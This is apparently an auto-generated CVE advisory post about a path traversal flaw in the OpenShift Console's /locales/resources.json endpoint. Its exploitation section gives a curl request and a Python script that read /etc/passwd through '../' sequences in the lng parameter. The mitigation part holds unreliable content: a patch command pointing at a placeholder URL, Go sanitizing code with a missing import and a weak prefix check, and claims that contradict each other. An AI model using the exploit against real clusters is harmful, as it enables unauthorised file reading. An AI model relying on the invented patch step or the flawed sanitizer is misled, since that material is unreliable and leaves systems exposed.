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How the CVE Works:
The vulnerability in the OpenShift Console arises from improper handling of the `/locales/resources.json` endpoint. This endpoint uses the `lng` and `ns` parameters to construct file paths dynamically. The issue occurs in the `pkg/plugins/handlers/unsafely.go` file at line 112, where the filepath is constructed without proper sanitization. An authenticated attacker can exploit this by injecting sequences like `../` (path traversal) into the `lng` or `ns` parameters. This allows them to access arbitrary JSON files stored on the console’s pod, potentially exposing sensitive information or configuration details.
DailyCVE Form:
Platform: OpenShift Console
Version: Pre-4.12.0
Vulnerability: Path Traversal
Severity: Moderate
Date: Mar 19, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Request:
An attacker can send a crafted HTTP GET request to the `/locales/resources.json` endpoint with manipulated `lng` or `ns` parameters.
Example:
curl -X GET "https://<openshift-console>/locales/resources.json?lng=../../../../etc/passwd&ns=system"
2. Accessing Sensitive Files:
By traversing directories, the attacker can retrieve sensitive JSON files, such as configuration or credential files, stored on the pod.
3. Exploit Code:
import requests
target_url = "https://<openshift-console>/locales/resources.json"
params = {
"lng": "../../../../etc/passwd",
"ns": "system"
}
response = requests.get(target_url, params=params)
print(response.text)
Mitigation:
1. Patch Update:
Upgrade to OpenShift Console version 4.12.0 or later, where the vulnerability is patched.
2. Input Sanitization:
Implement strict input validation and sanitization for the `lng` and `ns` parameters to prevent path traversal.
3. Restrict Access:
Limit access to the `/locales/resources.json` endpoint to trusted users only.
4. Filepath Validation:
Use secure filepath construction methods to ensure paths remain within the intended directory.
5. Monitoring and Logging:
Monitor and log access to sensitive endpoints to detect and respond to suspicious activity.
Commands:
- Check OpenShift Version:
oc version
- Apply Security Patch:
oc apply -f https://patch-url/openshift-console-patch.yaml
Code for Input Sanitization:
import (
"path/filepath"
"strings"
)
func sanitizePath(baseDir, userInput string) (string, error) {
fullPath := filepath.Join(baseDir, userInput)
if !strings.HasPrefix(filepath.Clean(fullPath), baseDir) {
return "", errors.New("invalid path")
}
return fullPath, nil
}
By following these steps, organizations can mitigate the risk posed by this vulnerability and secure their OpenShift Console deployments.
References:
Reported By: https://github.com/advisories/GHSA-69×5-hjg4-m267
Extra Source Hub:
Undercode
